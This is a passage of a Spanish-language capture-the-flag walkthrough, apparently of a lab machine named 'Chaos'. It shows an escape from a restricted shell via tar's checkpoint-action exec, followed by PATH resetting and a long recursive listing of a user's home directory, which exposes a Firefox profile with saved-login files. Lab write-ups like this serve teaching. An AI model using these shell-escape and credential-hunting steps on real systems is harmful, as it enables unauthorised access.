</span></span><span style="display:flex;"><span>cd ..
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ cd
</span></span><span style="display:flex;"><span>cd
</span></span><span style="display:flex;"><span>ayush@chaos:~$ dir
</span></span><span style="display:flex;"><span>dir
</span></span><span style="display:flex;"><span>mail  user.txt
</span></span><span style="display:flex;"><span>ayush@chaos:~$ dir -R
</span></span><span style="display:flex;"><span>dir -R
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>mail  user.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail:
</span></span><span style="display:flex;"><span>Drafts	Sent
</span></span></code></pre></div><p>Parece que faltan algunos comandos (ls no pero dir si, que es esto, windows?). Veamos que dicen las variables de entorno:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ echo $PATH
</span></span><span style="display:flex;"><span>echo $PATH
</span></span><span style="display:flex;"><span>/home/ayush/.app
</span></span><span style="display:flex;"><span>ayush@chaos:~$ dir /home/ayush/.app
</span></span><span style="display:flex;"><span>dir /home/ayush/.app
</span></span><span style="display:flex;"><span>dir  ping  tar
</span></span></code></pre></div><p>Parece que solo podemos trabajar con estos tres comandos: <code>dir</code>, <code>ping</code> y <code>tar</code>.</p>
<p>No hay problema, <a href="https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf">google nos ayuda a escalar</a> encontrando como usar <code>tar</code> como pivote:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ tar cf /dev/null testfile --checkpoint=1 --checkpoint-action=exec=/bin/sh
</span></span><span style="display:flex;"><span>&lt;ile --checkpoint=1 --checkpoint-action=exec=/bin/sh
</span></span><span style="display:flex;"><span>tar: testfile: Cannot stat: No such file or directory
</span></span><span style="display:flex;"><span>$
</span></span></code></pre></div><p>Yeah, ahora nada nos detendrá!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ id
</span></span><span style="display:flex;"><span>id
</span></span><span style="display:flex;"><span>/bin/sh: 1: id: not found
</span></span><span style="display:flex;"><span>$ bash
</span></span><span style="display:flex;"><span>bash
</span></span><span style="display:flex;"><span>/bin/sh: 2: bash: not found
</span></span><span style="display:flex;"><span>$ env
</span></span><span style="display:flex;"><span>env
</span></span></code></pre></div><p>Bueno tal vez la variable $PATH:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>$ export PATH=&#34;/usr/local/bin:/usr/bin:/bin&#34;
</span></span><span style="display:flex;"><span>export PATH=&#34;/usr/local/bin:/usr/bin:/bin&#34;
</span></span><span style="display:flex;"><span>$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>ayush  sahay
</span></span><span style="display:flex;"><span>$ bash
</span></span><span style="display:flex;"><span>bash
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>Command &#39;ls&#39; is available in &#39;/bin/ls&#39;
</span></span><span style="display:flex;"><span>The command could not be located because &#39;/bin&#39; is not included in the PATH environment variable.
</span></span><span style="display:flex;"><span>ls: command not found
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ export PATH=&#34;/usr/local/bin:/usr/bin:/bin&#34;
</span></span><span style="display:flex;"><span>export PATH=&#34;/usr/local/bin:/usr/bin:/bin&#34;
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ ls
</span></span><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>ayush  sahay
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 16K
</span></span><span style="display:flex;"><span>drwxr-xr-x  4 root  root  4.0K Oct 28 11:34 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 22 root  root  4.0K Dec  9 17:19 ..
</span></span><span style="display:flex;"><span>drwx------  6 ayush ayush 4.0K Apr 27 06:50 ayush
</span></span><span style="display:flex;"><span>drwx------  5 sahay sahay 4.0K Nov 24 23:53 sahay
</span></span><span style="display:flex;"><span>ayush@chaos:/home$ cd ayush
</span></span><span style="display:flex;"><span>cd ayush
</span></span><span style="display:flex;"><span>ayush@chaos:~$ ls -lah
</span></span><span style="display:flex;"><span>ls -lah
</span></span><span style="display:flex;"><span>total 40K
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4.0K Apr 27 06:50 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 root  root  4.0K Oct 28 11:34 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root  4.0K Oct 28 12:25 .app
</span></span><span style="display:flex;"><span>-rw------- 1 root  root     0 Nov 24 23:57 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  220 Oct 28 11:34 .bash_logout
</span></span><span style="display:flex;"><span>-rwxr-xr-x 1 root  root    22 Oct 28 12:27 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4.0K Apr 27 06:50 .gnupg
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4.0K Apr 27 05:40 mail
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4.0K Sep 29  2018 .mozilla
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  807 Oct 28 11:34 .profile
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush   33 Oct 28 12:54 user.txt
</span></span></code></pre></div><h1 id="cat-usertxt">cat user.txt</h1>
<p>Desde el home de ayush ejecutamos el cat de user.txt:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ cat user.txt
</span></span></code></pre></div><h1 id="privilege-escalation-from-ayush-to-rt">Privilege Escalation from ayush to r??t</h1>
<p>Primero y entre otras cosas, veamos que tanto tenemos en el directorio de ayush:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>ayush@chaos:~$ ls -laR
</span></span><span style="display:flex;"><span>ls -laR
</span></span><span style="display:flex;"><span>.:
</span></span><span style="display:flex;"><span>total 40
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4096 Apr 27 06:50 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 4 root  root  4096 Oct 28 11:34 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root  4096 Oct 28 12:25 .app
</span></span><span style="display:flex;"><span>-rw------- 1 root  root     0 Nov 24 23:57 .bash_history
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  220 Oct 28 11:34 .bash_logout
</span></span><span style="display:flex;"><span>-rwxr-xr-x 1 root  root    22 Oct 28 12:27 .bashrc
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 06:50 .gnupg
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 05:40 mail
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Sep 29  2018 .mozilla
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 ayush ayush  807 Oct 28 11:34 .profile
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush   33 Oct 28 12:54 user.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.app:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root  4096 Oct 28 12:25 .
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4096 Apr 27 06:50 ..
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 root  root     8 Oct 28 12:25 dir -&gt; /bin/dir
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 root  root     9 Oct 28 12:25 ping -&gt; /bin/ping
</span></span><span style="display:flex;"><span>lrwxrwxrwx 1 root  root     8 Oct 28 12:25 tar -&gt; /bin/tar
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.gnupg:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 06:50 .
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4096 Apr 27 06:50 ..
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Apr 27 06:50 private-keys-v1.d
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.gnupg/private-keys-v1.d:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Apr 27 06:50 .
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 06:50 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 05:40 .
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4096 Apr 27 06:50 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush 2638 Oct 28 12:16 Drafts
</span></span><span style="display:flex;"><span>drwx------ 5 ayush ayush 4096 Oct 28 12:13 .imap
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush    0 Oct 28 12:10 Sent
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush   17 Oct 28 12:13 .subscriptions
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail/.imap:
</span></span><span style="display:flex;"><span>total 32
</span></span><span style="display:flex;"><span>drwx------ 5 ayush ayush 4096 Oct 28 12:13 .
</span></span><span style="display:flex;"><span>drwx------ 3 ayush ayush 4096 Apr 27 05:40 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush 4028 Oct 28 12:16 dovecot.list.index.log
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush   48 Oct 28 12:13 dovecot.mailbox.log
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush    8 Oct 28 12:13 dovecot-uidvalidity
</span></span><span style="display:flex;"><span>-r--r--r-- 1 ayush ayush    0 Oct 28 12:10 dovecot-uidvalidity.5bd5a723
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:13 Drafts
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:10 INBOX
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:10 Sent
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail/.imap/Drafts:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:13 .
</span></span><span style="display:flex;"><span>drwx------ 5 ayush ayush 4096 Oct 28 12:13 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush 5296 Apr 27 05:41 dovecot.index.cache
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush 3220 Oct 28 12:16 dovecot.index.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail/.imap/INBOX:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:10 .
</span></span><span style="display:flex;"><span>drwx------ 5 ayush ayush 4096 Oct 28 12:13 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush  304 Apr 27 05:32 dovecot.index.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./mail/.imap/Sent:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Oct 28 12:10 .
</span></span><span style="display:flex;"><span>drwx------ 5 ayush ayush 4096 Oct 28 12:13 ..
</span></span><span style="display:flex;"><span>-rw------- 1 ayush ayush  232 Oct 28 12:10 dovecot.index.log
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla:
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwx------ 6 ayush ayush 4096 Apr 27 06:50 ..
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Sep 29  2018 extensions
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Sep 29  2018 firefox
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/extensions:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwx------ 2 ayush ayush 4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwx------ 4 ayush ayush 4096 Sep 29  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwx------  4 ayush ayush 4096 Sep 29  2018  .
</span></span><span style="display:flex;"><span>drwx------  4 ayush ayush 4096 Sep 29  2018  ..
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59  bzo7sjt1.default
</span></span><span style="display:flex;"><span>drwx------  4 ayush ayush 4096 Oct 15  2018 &#39;Crash Reports&#39;
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush  104 Sep 29  2018  profiles.ini
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default:
</span></span><span style="display:flex;"><span>total 14424
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush     4096 Oct 27 13:59 .
</span></span><span style="display:flex;"><span>drwx------  4 ayush ayush     4096 Sep 29  2018 ..
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush       24 Oct 27 12:08 addons.json
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush      222 Oct 27 12:10 AlternateServices.txt
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush   571824 Oct 11  2018 blocklist-addons.json
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush    27953 Oct  7  2018 blocklist-gfx.json
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush   139100 Oct  7  2018 blocklist-plugins.json
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush   429735 Oct 25  2018 blocklist.xml
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush     4096 Oct 27 14:00 bookmarkbackups
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush    94208 Oct 27 12:09 cert9.db
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      362 Oct 27 12:09 cert_override.txt
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      170 Sep 29  2018 compatibility.ini
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      809 Sep 29  2018 containers.json
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush   229376 Oct 24  2018 content-prefs.sqlite
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush   524288 Oct 27 12:10 cookies.sqlite
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    32768 Oct 27 13:55 cookies.sqlite-shm
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush        0 Oct 27 13:55 cookies.sqlite-wal
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush     4096 Oct 27 13:55 crashes
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush     4096 Oct 27 14:00 datareporting
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush      167 Sep 29  2018 extensions.ini
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush     5687 Oct 27 13:55 extensions.json
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush   196608 Oct 24  2018 formhistory.sqlite
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush     4096 Sep 29  2018 gmp
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush    36864 Oct 27 13:55 key4.db
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush  1343488 Oct 11  2018 kinto.sqlite
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      570 Oct 27 12:10 logins.json
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush     3777 Sep 29  2018 mimeTypes.rdf
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush     4096 Oct 25  2018 minidumps
</span></span><span style="display:flex;"><span>-rw-r--r--  1 root  root         0 Oct 27 13:54 .parentlock
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    98304 Sep 29  2018 permissions.sqlite
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      868 Sep 29  2018 pkcs11.txt
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush 10485760 Oct 27 13:59 places.sqlite
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    32768 Oct 27 14:08 places.sqlite-shm
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    32824 Oct 27 14:08 places.sqlite-wal
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush      469 Sep 29  2018 pluginreg.dat
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush    12163 Oct 27 13:59 prefs.js
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    43369 Oct 11  2018 revocations.txt
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush     4096 Oct 26  2018 saved-telemetry-pings
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush    17004 Sep 29  2018 search.json.mozlz4
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush        0 Oct 27 12:10 SecurityPreloadState.txt
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush       90 Oct 27 13:54 sessionCheckpoints.json
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush     4096 Oct 27 13:55 sessionstore-backups
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush     5377 Oct 27 14:00 SiteSecurityServiceState.txt
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 ayush ayush     4096 Oct  9  2018 storage
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush      512 Sep 29  2018 storage.sqlite
</span></span><span style="display:flex;"><span>-rwx------  1 ayush ayush       29 Sep 29  2018 times.json
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush   262144 Oct 27 12:10 webappsstore.sqlite
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush    32768 Oct 27 13:54 webappsstore.sqlite-shm
</span></span><span style="display:flex;"><span>-rw-r--r--  1 ayush ayush        0 Oct 27 13:54 webappsstore.sqlite-wal
</span></span><span style="display:flex;"><span>-rw-------  1 ayush ayush     1099 Oct 27 13:55 xulstore.json
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/bookmarkbackups:
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush 4096 Oct 27 14:00  .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59  ..
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  2035 Sep 29  2018 &#39;bookmarks-2018-09-29_23_KNEJR-waZJZwUVshUNhFqg==.jsonlz4&#39;
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  2170 Oct 27 14:00 &#39;bookmarks-2018-10-27_24_0UTpOFh1V6tsL2fi6cyvng==.jsonlz4&#39;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/crashes:
</span></span><span style="display:flex;"><span>total 16
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush 4096 Oct 27 13:55 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>drwx------  2 root  root  4096 Sep 29  2018 events
</span></span><span style="display:flex;"><span>-rw-------  1 root  root   225 Oct 27 13:55 store.json.mozlz4
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.mozilla/firefox/bzo7sjt1.default/crashes/events&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/datareporting:
</span></span><span style="display:flex;"><span>total 32
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush 4096 Oct 27 14:00 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  9347 Oct 27 14:00 aborted-session-ping
</span></span><span style="display:flex;"><span>drwx------  4 root  root  4096 Oct  2  2018 archived
</span></span><span style="display:flex;"><span>-rw-------  1 root  root   136 Oct 27 13:55 session-state.json
</span></span><span style="display:flex;"><span>-rw-------  1 root  root    51 Sep 29  2018 state.json
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.mozilla/firefox/bzo7sjt1.default/datareporting/archived&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/gmp:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwx------  3 ayush ayush 4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>drwx------  2 root  root  4096 Sep 29  2018 Linux_x86_64-gcc3
</span></span><span style="display:flex;"><span>ls: cannot open directory &#39;./.mozilla/firefox/bzo7sjt1.default/gmp/Linux_x86_64-gcc3&#39;: Permission denied
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/minidumps:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush 4096 Oct 25  2018 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/saved-telemetry-pings:
</span></span><span style="display:flex;"><span>total 44
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush 4096 Oct 26  2018 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  9789 Sep 29  2018 b35e9f24-a4a9-4683-b4ec-1fdaf3533a7a
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  9162 Oct 26  2018 dc2f3e22-3710-4da9-9d30-c01f0885a480
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  9933 Oct  6  2018 f153dbe5-b2e1-46ad-bb38-d0d2e22ab3fe
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/sessionstore-backups:
</span></span><span style="display:flex;"><span>total 196
</span></span><span style="display:flex;"><span>drwx------  2 ayush ayush  4096 Oct 27 13:55 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush  4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  39550 Oct 27 12:10 previous.js
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  42537 Oct 27 13:55 recovery.bak
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  43650 Oct 27 13:55 recovery.js
</span></span><span style="display:flex;"><span>-rw-------  1 root  root  57967 Sep 29  2018 upgrade.js-20180326230345
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwxr-xr-x  5 ayush ayush 4096 Oct  9  2018 .
</span></span><span style="display:flex;"><span>drwx------ 10 ayush ayush 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root  root  4096 Oct  9  2018 default
</span></span><span style="display:flex;"><span>drwxr-xr-x  3 root  root  4096 Sep 29  2018 permanent
</span></span><span style="display:flex;"><span>drwxr-xr-x  2 root  root  4096 Oct  9  2018 temporary
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root  root  4096 Oct  9  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 ayush ayush 4096 Oct  9  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root  root  4096 Oct  9  2018 https+++www.google.com
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct  9  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct  9  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct 27 13:59 idb
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   49 Oct  9  2018 .metadata
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   62 Oct 24  2018 .metadata-v2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb:
</span></span><span style="display:flex;"><span>total 60
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root  4096 Oct 27 13:59 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root  4096 Oct  9  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root  4096 Oct  9  2018 548905059db.files
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 49152 Oct  9  2018 548905059db.sqlite
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.files:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4096 Oct  9  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct 27 13:59 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent:
</span></span><span style="display:flex;"><span>total 12
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root  root  4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 ayush ayush 4096 Oct  9  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root  root  4096 Sep 29  2018 chrome
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome:
</span></span><span style="display:flex;"><span>total 20
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Sep 29  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct 27 14:00 idb
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   29 Sep 29  2018 .metadata
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root   42 Sep 29  2018 .metadata-v2
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb:
</span></span><span style="display:flex;"><span>total 60
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root  4096 Oct 27 14:00 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root  4096 Sep 29  2018 ..
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root  4096 Sep 29  2018 2918063365piupsah.files
</span></span><span style="display:flex;"><span>-rw-r--r-- 1 root root 49152 Sep 29  2018 2918063365piupsah.sqlite
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.files:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root root 4096 Sep 29  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 3 root root 4096 Oct 27 14:00 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>./.mozilla/firefox/bzo7sjt1.default/storage/temporary:
</span></span><span style="display:flex;"><span>total 8
</span></span><span style="display:flex;"><span>drwxr-xr-x 2 root  root  4096 Oct  9  2018 .
</span></span><span style="display:flex;"><span>drwxr-xr-x 5 ayush ayush 4096 Oct  9  2018 ..
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&#39;./.mozilla/firefox/Crash Reports&#39;:
</span></span><span style="display:flex;"><span>total 20
